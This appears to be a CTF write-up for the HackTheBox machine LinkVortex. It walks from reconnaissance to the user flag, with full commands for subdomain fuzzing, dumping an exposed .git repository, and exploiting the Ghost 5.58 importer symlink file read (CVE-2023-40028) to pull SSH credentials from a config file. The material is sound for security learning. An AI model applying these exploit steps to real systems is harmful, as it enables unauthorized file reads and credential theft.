Post

LinkVortex

A dev subdomain leaks its .git directory, whose history hides a hardcoded Ghost admin password; the Ghost 5.58 importer (CVE-2023-40028) reads arbitrary files via a symlink in an imported ZIP, leaking SSH credentials from the Ghost config for the user flag.

LinkVortex

Overview

LinkVortex is an easy-difficulty Linux box themed around symbolic links. The foothold is a chain of two classic web mistakes: a development subdomain that serves its .git directory, and a Ghost CMS instance vulnerable to an authenticated arbitrary file read (CVE-2023-40028). Dumping the repo leaks a hardcoded admin password; logging into Ghost and abusing the importer’s symlink handling leaks SSH credentials from the Ghost config file, which log straight in for user.txt. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Heavy subdomain/.git enumeration leaks a hardcoded password, then named CVE-2023-40028 symlink file-read drives the foothold; balanced enum-plus-CVE realism with a touch of symlink crafting.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu
80/tcpApache httpdredirects to linkvortex.htb, Ghost 5.58
1
nmap -sC -sV 10.10.11.47

Port 80 redirects to http://linkvortex.htb/, so add the hostname and scan again:

1
2
echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts
nmap -sC -sV linkvortex.htb

The second scan fingerprints the site as Ghost 5.58 (“BitByBit Hardware” blog) and surfaces a robots.txt with four disallowed entries including /ghost/ — the Ghost admin login. The blog posts are authored by [email protected], a useful detail for later. The login page exists but we have no password yet.

Enumeration

With no obvious foothold on the main site, fuzz for subdomains:

1
2
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \
  -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb/ -ic -fs 230

This returns dev. Add it and fuzz for content:

1
2
3
echo "10.10.11.47 dev.linkvortex.htb" | sudo tee -a /etc/hosts
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://dev.linkvortex.htb/FUZZ -ic -t 20

The dev host shows only a “LAUNCHING SOON” page in the browser, but the fuzzer finds the real prize: .git/, .git/config, .git/HEAD, and a 707 KB .git/index all return 200. The entire .git directory is exposed.

Foothold

1 — Dump the exposed repository. git-dumper reconstructs the working tree from the exposed objects:

1
2
git_dumper.py http://dev.linkvortex.htb/.git gitdump
cd gitdump && git status

The status shows staged changes, including a modified ghost/core/test/regression/api/admin/authentication.test.js. Restore the staged changes and diff:

1
git restore --staged . && git diff

The diff swaps a placeholder for a real password:

1
2
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

Combined with the author email seen earlier, [email protected] : OctopiFociPilfer45 logs into the Ghost dashboard at http://linkvortex.htb/ghost.

2 — CVE-2023-40028 arbitrary file read. Ghost 5.58’s content importer accepts a ZIP and preserves symbolic links inside it, letting an authenticated user read any file on the host. Build a symlink disguised as a PNG, zip it so the link is stored as a link, and import it:

1
2
3
mkdir -p exploit/content/images/
ln -s /etc/passwd exploit/content/images/test-file.png
zip -r -y exploit.zip exploit/

Upload exploit.zip via Settings → Labs → Import content, then fetch the symlink back through the public images path:

1
curl http://linkvortex.htb/content/images/test-file.png

This returns /etc/passwd, confirming the read. A public PoC (CVE-2023-40028.sh, with GHOST_URL pointed at http://linkvortex.htb) automates the scaffold/zip/upload/fetch into a file> prompt:

1
2
chmod +x CVE-2023-40028.sh
./CVE-2023-40028.sh -u [email protected] -p OctopiFociPilfer45

3 — Read the Ghost config for SSH creds. Ghost stores its runtime config (including SMTP auth) in /var/lib/ghost/config.production.json. Request it at the file> prompt:

1
file> /var/lib/ghost/config.production.json
1
2
3
4
"auth": {
    "user": "[email protected]",
    "pass": "fibber-talented-worth"
}

The password is reused for the host account, so it logs straight in over SSH:

User flag

1
2
bob@linkvortex:~$ cat user.txt
[redacted]

The privilege escalation — a TOCTOU race in a sudo-able clean_symlink.sh that ultimately leaks root’s SSH key — is left as an exercise; this post stops at user.

This post is licensed under CC BY 4.0 by the author.